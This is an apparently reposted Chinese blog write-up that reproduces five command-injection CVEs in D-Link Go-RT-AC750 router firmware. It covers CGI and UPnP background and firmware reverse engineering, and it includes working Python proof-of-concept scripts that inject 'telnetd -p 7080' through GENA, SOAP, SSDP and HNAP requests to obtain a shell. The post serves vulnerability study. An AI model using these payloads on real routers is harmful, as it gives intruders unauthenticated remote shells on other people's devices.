D-Link Go-RT-AC750命令注入漏洞复现

admin 2023年8月11日21:20:13评论23 views字数 6993阅读23分18秒阅读模式




前言


前面的复现都是以CVE编号为主的复现,这次换个方式,以路由器型号为单位进行复现。本次复现的命令注入漏洞都是D-Link Go-RT-AC750中存在的漏洞,目前一共有五个:


D-Link Go-RT-AC750命令注入漏洞复现





背景知识


在对D-Link Go-RT-AC750命令注入漏洞复现前先了解一些背景知识,主要是CGI和UPnP。


2.1 CGI(Common Gateway Interface)通用网关接口


CGI规定了Web服务器调用CGI程序的接口协议标准。Web服务器通过调用CGI程序实现和Web浏览器的交互, 即CGI程序接收Web浏览器发送给Web服务器的信息并进行处理, 将处理后的结果返回给Web服务器。组成CGI通信系统的是两部分:一部分是html页面,用于在浏览器上显示;另一部分则是运行在服务器上的CGI程序。

D-Link Go-RT-AC750命令注入漏洞复现

通常情况下,服务器和CGI程序在Web环境变量的协作下,通过标准输入(stdin)和标准输出(stdout)来进行数据传递。以Go-RT-AC750的Web服务器工作流程为例:


1.服务器接收到浏览器传来的URL,识别URL中指定的脚本,如xx.php或xx.cgi并将其交给cgibin解析处理。


2.服务为CGI程序(cgibin)执行做准备,比如准备环境变量和相关参数。


3.CGI程序(cgibin)读取标准输入和相关环境变量,执行相应处理,处理完后将结果由标准输出返回到服务器。


4.服务器将收到的处理结果传回浏览器。


CGI程序继承了系统的环境变量。CGI环境变量在CGI程序启动时初始化,在CGI程序结束时销毁。当CGI程序被HTTP服务器调用时,它的环境变量就会增加一些和HTTP服务相关的环境变量。下面是一些常见的和HTTP相关的环境变量(CGI程序使用getenv()函数获取环境变量,例如getenv("CONTENT_TYPE")):


D-Link Go-RT-AC750命令注入漏洞复现


2.2 UPnP(Universal Plug and Play)通用即插即用


UPnP是由微软提出的一种通用即插即用技术,后续联合英特尔等多家科技公司共同制定了UPnP标准。UPnP主要是为了实现在“零配置”的前提下在联网设备间能自动连接和协同工作。UPnP的协议栈结构图如下:

D-Link Go-RT-AC750命令注入漏洞复现


UPnP协议体系结构中主要协议和规范包括:


◆SSDP(Simple Service Discovery Protocol)简单服务发现协议,用于发现网络中的UPnP设备。


◆GENA(Generic Event Notification Architecture)通用事件通知结构,用于及时通知状态变化。


◆SOAP(Simple Object Access Protocol),简单对象访问协议,用于保证UPnP设备具有互操作能力。


◆XML(Extensible Markup Language)可扩展标记语言,对设备和服务进行统一的描述。


当加入一个新的UPnP设备时,工作流程如下:


1.设备加入网络后通过设备寻址(addressing)就可自动获得IP地址;


2.通过设备发现(discover)控制点就可知道网络上存在哪些设备;


3.通过设备描述(description)控制点就可知道设备详细信息以及设备提供哪些服务;


4.通过设备控制(control)控制点可以使用设备的服务;


5.通过设备事件(event)就可以将其状态变化及时告诉给订阅的控制点;


6.通过设备展示(presentation)控制点可以用浏览器察看设备状态和控制设备。


通过上述六个步骤,UPnP设备可以做到在“零配置”的前提下提供联网设备之间的自动发现、自动声明、“直接”信息交换和互操作等功能,真正实现“设备即插即用”。


这里只是给个简单介绍,具体实现细节请阅读UPnP官方文档,链接见参考文章。





固件解包及模拟


使用binwalk解包,获取文件系统:


binwalk -Me GORTAC750_A1_FW_v101b03.bin


D-Link Go-RT-AC750命令注入漏洞复现


解包成功,浏览完文件系统中文件发现有telnetd,可用于漏洞验证:


D-Link Go-RT-AC750命令注入漏洞复现


以调试方式模拟固件,以便分析过程中使用shell查看运行时相关信息:


D-Link Go-RT-AC750命令注入漏洞复现


D-Link Go-RT-AC750命令注入漏洞复现


模拟成功后扫描端口:


D-Link Go-RT-AC750命令注入漏洞复现


D-Link Go-RT-AC750命令注入漏洞复现


通过调试shell查看文件:/var/run/httpd.conf 可知49152是upnp服务端口。





CVE-2023-34800


4.1 漏洞分析


根据漏洞披露的信息,这个漏洞和服务参数以及genacgi_main函数有关,查找字符串genacgi_main找到相关文件htdocs/cgibin:


D-Link Go-RT-AC750命令注入漏洞复现


将htdocs/cgibin拿到IDA中分析,并直接定位到函数genacgi_main,调用该函数的代码为:


D-Link Go-RT-AC750命令注入漏洞复现


在cgibin程序的main函数中判断是否为gena.cgi


D-Link Go-RT-AC750命令注入漏洞复现


genacgi_main函数的功能是:检查HTTP请求方法和判断URI中是否有?service=,若HTTP请求方法为SUBSCRIBE或UNSUBSCRIBE则调用对应的函数处理。当REQUEST_METHOD为SUBSCRIBE时,获取一些环境变量并使用sprintf函数拼接成字符串传入到xmldbc_ephp函数中处理:


D-Link Go-RT-AC750命令注入漏洞复现


D-Link Go-RT-AC750命令注入漏洞复现


xmldbc_ephp函数将拼接的subscribe_string 通过/var/run/xmldb_sock传入到/htdocs/upnp/run.NOTIFY.php文件中进行处理并返回处理结果到服务器。subscrib_string的内容形式为:


假设传入:SUBSCRIBE URL ?service=service_xx

/htdocs/upnp/run.NOTIFY.phpnMETHOD=SUBSCRIBEnINF_UID=SERVER_IDnSERVICE=service_xxnSID=HTTP_SIDnTIMEOUT=time_xxnSHELL_FILE=/var/run/service_xx.sh


查看/htdocs/upnp/run.NOTIFY.php文件内容:


D-Link Go-RT-AC750命令注入漏洞复现


查找文件中涉及的函数GENA_subscribe_new:


D-Link Go-RT-AC750命令注入漏洞复现

D-Link Go-RT-AC750命令注入漏洞复现

D-Link Go-RT-AC750命令注入漏洞复现


综上可知漏洞点在fwrite(a, $shell_file, "rm -f ".$shell_file."n");代码中的目的是为了执行rm -f shell_file命令删除shell_file文件,但shell_file可通过SUBSCRIBE传入的服务参数进行控制并且全程没有任何对服务参数的检查,从而可实现命令注入。


4.2 漏洞复现


此漏洞涉及到的是UPnP的GENA(通用事件通知结构)相关内容,当设备服务状态发生变化时,会通过event通知控制点。控制点能收到通知的前提是要先订阅(SUBSCRIBE)该服务的指定event。订阅特定服务的事件的方法是:发送订阅消息到该服务的事件 URL。通过分析可知,此漏洞的触发条件是要路由器发送UPnP订阅服务的请求。根据UPnP官方文档可知订阅请求格式如下:


D-Link Go-RT-AC750命令注入漏洞复现


D-Link Go-RT-AC750命令注入漏洞复现


结合UPnP文档和/var/run/httpd.conf文件内容 可知要构造的subscriber的请求头如下:


SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152
Callback: <http://192.168.0.1/>
NT: upnp:event
Timeout: Second-infinite


Poc脚本执行后,成功取得shell:


D-Link Go-RT-AC750命令注入漏洞复现


4.3 Poc


from socket import *
from os import *
from time import *

request = b"SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1rn"
request += b"Host: 192.168.0.1:49152rn"
request += b"Callback: <http://192.168.0.1/>rn"
request += b"NT: upnp:eventrn"
request += b"Timeout: Second-infiniternrn"

s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)

sleep(10)
system('telnet 192.168.0.1 7080')





CVE-2023-26822


5.1 漏洞分析


根据漏洞披露的信息可知漏洞点和 service 参数以及 soapcgi_main 有关,在文件系统中查找soapcgi_main并定位到所在文件cgibin,将其拿到IDA中逆向分析,通过函数名查找,定位到soapcgi_main函数,调用该函数的代码如下:


D-Link Go-RT-AC750命令注入漏洞复现


soapcgi_main中关键代码如下:


D-Link Go-RT-AC750命令注入漏洞复现


这段代码是在获取与请求相关的环境变量,可获得的信息有:

◆REQUEST_METHOD: POST
◆CONTEXT_TYPE: text/xml
◆REQUEST_URI:含?service=
◆HTTP_SOAPACTION:含有“”,且“”中含有#


D-Link Go-RT-AC750命令注入漏洞复现


综上分析可知,漏洞出现的原因是POST 的URI中?service=后面的内容可由输入控制,全程没有对该处输入进行检查,直接sprintf后由system函数执行。


5.2 漏洞复现


此漏洞涉及到的是UPnP的SOAP(简单对象访问协议)相关内容,SOAP主要是用于保证UPnP设备具有互操作能力。控制点可以调用UPnP设备上的服务,并接收返回结果。根据UPnP官方文档,要调用UPnP设备上的服务,控制点必须以POST方法发送以下格式的请求:

D-Link Go-RT-AC750命令注入漏洞复现


D-Link Go-RT-AC750命令注入漏洞复现


由上面的分析可知要构造的POST请求头如下:


POST /soap.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152
Content-Length: 100
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:serviceType:v#actionName"


Poc脚本执行后,成功取得shell:


D-Link Go-RT-AC750命令注入漏洞复现


5.3 Poc


from socket import *
from os import *
from time import *

request = b"POST /soap.cgi?service=;telnetd -p 7080 HTTP/1.1rn"
request += b"Host: 192.168.0.1:49152rn"
request += b"Content-Type: text/xmlrn"
request += b"Content-Length: 100rn"
request += b"SOAPAction: "urn:schemas-upnp-org:service:serviceType:v#actionName"rnrn"

s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)

sleep(10)
system('telnet 192.168.0.1 7080')





CVE-2022-37057


6.1 漏洞分析


根据漏洞披露的信息可知和ssdpcgi_main函数以及cgibin文件有关,将cgibin文件拿到IDA中分析并直接搜索ssdpcgi_main函数,调用该函数的代码为:


D-Link Go-RT-AC750命令注入漏洞复现


根据前面分析的漏洞可知,这次漏洞请求URL中的文件是ssdpcgi。ssdpcgi_main函数中漏洞点关键代码如下:


D-Link Go-RT-AC750命令注入漏洞复现


根据上图代码可知要实现命令注入需要的环境变量如下:

◆HTTP_ST:uuid:
◆REMOTE_ADDR
◆REMOTE_PORT
◆SERVER_ID


这些数据被传入lxmldbc_system函数,在该函数中直接拼接执行,没有任何检查。这几个环境变量中只有HTTP_ST是需要请求头设定的,即HTTP_ST是可控制的输入,因此HTTP_ST的值即为漏洞点。


6.2 漏洞复现


此漏洞涉及到的是UPnP的SSDP(简单服务发现协议)相关内容,该协议主要是用于发现网络中的UPnP设备。控制点(用户操作的HTTP客户端)可以通过使用简单服务发现协议,根据自己的需要在网络中查询能够提供特定服务的设备。相应的设备(也就是本路由器)向控制点发出回应,声明自己的存在及能提供的服务。该协议在HTTP之下使用的是UDP。控制点需要用以下格式发送请求:


D-Link Go-RT-AC750命令注入漏洞复现


D-Link Go-RT-AC750命令注入漏洞复现


D-Link Go-RT-AC750命令注入漏洞复现


综上分析,结合UPnP文档和/var/run/httpd.conf文件内容 可知要构造的请求头如下:


M-SEARCH * HTTP/1.1
Host: 192.168.0.1:1900
ST: uuid:12345;telnetd -p 7080


Poc脚本执行后,成功取得shell:


D-Link Go-RT-AC750命令注入漏洞复现


6.3 Poc


from socket import *
from os import *
from time import *

request = b"M-SEARCH * HTTP/1.1rn"
request += b"Host: 192.168.0.1:1900rn"
request += b"ST: uuid:12345;telnetd -p 7080rnrn"

# Set up UDP socket
s = socket(AF_INET, SOCK_DGRAM, 0)
s.sendto(request, ("192.168.0.1", 1900))
s.close()

sleep(10)
system('telnet 192.168.0.1 7080')





CVE-2022-37056


7.1 漏洞分析


根据漏洞披露的信息可知和hnap_main函数以及cgibin文件有关,将cgibin文件拿到IDA中分析并直接搜索hnap_main函数,调用该函数的代码为:


D-Link Go-RT-AC750命令注入漏洞复现


hnap_main函数中关键代码如下:


D-Link Go-RT-AC750命令注入漏洞复现

D-Link Go-RT-AC750命令注入漏洞复现

代码中没有对HTTP_SOAPACTION的值进行检查,直接将其内容中“/”后的内容拼接到buffer中执行。要想HTTP_SOAPACTION的值被作为注入点执行,请求方式不能为POST,可设定为GET,URL为/HNAP1/


7.2 漏洞复现


Poc脚本执行后,成功取得shell:


D-Link Go-RT-AC750命令注入漏洞复现


7.3 Poc


from socket import *
from os import *
from time import *

request = b"GET /HNAP1/ HTTP/1.1rn"
request += b"Host: 192.168.0.1rn"
request += b"SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/;telnetd -p 7080;"rnrn"

s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 80))
s.send(request)

sleep(10)
system('telnet 192.168.0.1 7080')





CVE-2022-36523


根据漏洞披露的信息,此漏洞和/htdocs/upnpinc/gena.php文件有关。查看该文件内容:


D-Link Go-RT-AC750命令注入漏洞复现
D-Link Go-RT-AC750命令注入漏洞复现


通过查找该文件相关函数调用关系发现此漏洞和CVE-2023-34800所提及的是同一个漏洞。那么此漏洞的复现过程及Poc见CVE-2023-34800。





复现总结


D-Link Go-RT-AC750相关的命令注入漏洞复现就告一段落了,起初看到一个设备有这么多命令注入漏洞,就很好奇会不会是同一个原因造成的,经过逐一复现后发现也能算是同一个原因,使用UPnP服务不检测输入的原因。这个固件把UPnP的GENA、SOAP、SSDP等位置的漏洞都触发了一遍,是一个很好的学习UPnP漏洞的样本。






参考文章


CGI编程完全手册-阿里云开发者社区 (aliyun.com)

(https://developer.aliyun.com/article/244192)


Universal Plug and Play Device Architecture (upnp.org)

(http://www.upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.0.pdf)


UPnP协议CallStranger漏洞影响数百万设备 - FreeBuf网络安全行业门户

(https://www.freebuf.com/vuls/242386.html)


◆[原创] cgibin中与upnp协议有关的一些漏洞分析与复现-智能设备-看雪-安全社区|安全招聘|kanxue.com

(https://bbs.kanxue.com/thread-272634.htm)




D-Link Go-RT-AC750命令注入漏洞复现


看雪ID:伯爵的信仰

https://bbs.kanxue.com/user-home-882513.htm

*本文为看雪论坛精华文章,由 伯爵的信仰 原创,转载请注明来自看雪社区

D-Link Go-RT-AC750命令注入漏洞复现

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复


D-Link Go-RT-AC750命令注入漏洞复现


D-Link Go-RT-AC750命令注入漏洞复现

球分享

D-Link Go-RT-AC750命令注入漏洞复现

球点赞

D-Link Go-RT-AC750命令注入漏洞复现

球在看

原文始发于微信公众号(看雪学苑):D-Link Go-RT-AC750命令注入漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月11日21:20:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   D-Link Go-RT-AC750命令注入漏洞复现http://cn-sec.com/archives/1950674.html

发表评论

匿名网友 填写信息